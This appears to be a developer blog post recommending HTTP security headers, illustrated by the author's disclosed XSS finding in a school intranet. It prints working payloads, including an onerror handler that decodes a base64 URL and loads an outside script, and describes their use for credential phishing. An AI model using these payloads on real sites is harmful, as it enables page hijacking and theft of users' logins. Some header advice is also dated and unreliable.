Often ignored by developers, HTTP security headers are good firewalls that can prevent a lot of common vulnerabilities exploit. As your site might be subject to vulnerabilities you don’t know about, it’s always important to have additionals safety measures, especially when it comes to the end user.
Client side attacks
HTTP security headers are mostly useful for client side attacks like phishing, cross site scripting (XSS), or Man In The Middle (MITM). The security level of a website also depends on how safe it is for the end user to browse it. If you put a lot of efforts to create a secure application but serving it without HTTPS, your application’s security is not as good as you think, at least for the user.
Let’s take a quick example to understand the problem : let’s say your website is a castle with several guards around to prevent attacks, and users have to take a road to get there. As the guards can only protect the castle and not the road, malicious people could use the road to attack users without facing any guards. To solve this, we’ll put some barbed fences around so malicious people can’t get to our users. These barbed fences are HTTPS. HTTPS make the connection between the user and the website encrypted so unreadable (and unwritable) to potential hackers. But sometimes attacks can come from the application itself, when there’s an XSS vulnerability for example. That’s where security headers are important. The more you put efforts on client side security, the more that road will be safe to take.
So we could say HTTPS is a must-have, and security headers are for optimal security. It doesn’t mean it’s not so important!!!1§.
What are the security headers ?
Strict-Transport-Security
HTTP Strict Transport Security is an excellent feature to support on your site and strengthens your implementation of TLS by getting the User Agent to enforce the use of HTTPS.
X-Content-Type-Options
Stops a browser from trying to MIME-sniff the content type and forces it to stick with the declared content-type. The only valid value for this header is “X-Content-Type-Options: nosniff”.
X-Frame-Options
Tells the browser whether you want to allow your site to be framed or not. By preventing a browser from framing your site you can defend against attacks like clickjacking.
X-XSS-Protection
This one sets the configuration for the cross-site scripting filters built into most browsers. The best configuration is “X-XSS-Protection: 1; mode=block”.
Referrer-Policy
A new header that allows a site to control how much information the browser includes with navigations away from a document and should be set by all sites.
Content-Security-Policy
An effective measure to protect your site from XSS attacks. By whitelisting sources of approved content, you can prevent the browser from loading malicious assets. Analyse this policy in more detail.
Feature-Policy
A new header that allows a site to control which features and APIs can be used in the browser.
The last 3 months, I was in a internship as a backend developer and I was asked by school to put some documents on the intranet. After dealing with the crappy upload feature, I had the magical idea to try an XSS attack on a folders listing page, so I created a folder with that name : ‘“>
Plot twist, I broke the page.
Obviously, the folder page was vulnerable to an XSS attack on this element :
First, I notice that the script is executed right after creating the folder. Then, the folder name gets correctly escaped after refresh.
But the payload does not work as expected on the folder page. The code is not executed and it breaks the page. After several tries, I understand that some chars like slashes, commas, or octothorpes are escaped.
So I try something else, using an errored image :
<img src="" onerror="alert('XSS');">
Here it is.
Before going further, I report the vulnerability to my school, then I start working on a little PoC (Proof Of Concept) to demonstrate how to bypass character escape and steal students credentials by phishing.
The website didn’t use almost any of the HTTP security headers. The X-Frame-Options header made me unable replace the body by an iframe. But the X-XSS-Protection header was disabled so I was able to exploit the vulnerability as I wish.
To be able to inject some payloads in the page properly and bypass that weird character escape, I created a <script> element and encoded the payload URL to base64.
<img src="" onerror="
var script = document.createElement('script');
script.src=atob('aHR0cHM6Ly9wYXN0ZXNiaW4veHh4eHh4');
document.body.appendChild(script);
">At this point, the vulnerability was fully exploitable.
I could tell you a lot of similar examples of malicious exploitation of XSS. For example the enterprise where I did my internship also had an Ecommerce page vulnerable to cross site scripting. Making me able to steal users’ credentials or banking informations.
You may have noticed that some websites, such as Instagram, does not use these security headers. When you develop CSR (Client-Side Rendering) based applications with frameworks such as React, Angular or Vuejs, you implement some client side security by default, so using these security headers becomes less important, unless a vulnerability is discovered in the framework. But keep in mind that frameworks will not protect users against weak implementation of SSL.
Conclusion : as you can never know when a vulnerability will be discovered and you have to protect users’ data in all circumstances, usage of HTTPS and these security headers are important and might protect you from malicious usage of browsing your site. It guarantees the optimal security of your users. Remember it doesn’t matter if your website is static or not, it can be used for malicious attempt anyway. Learn Why Your Static Website Needs HTTPS.
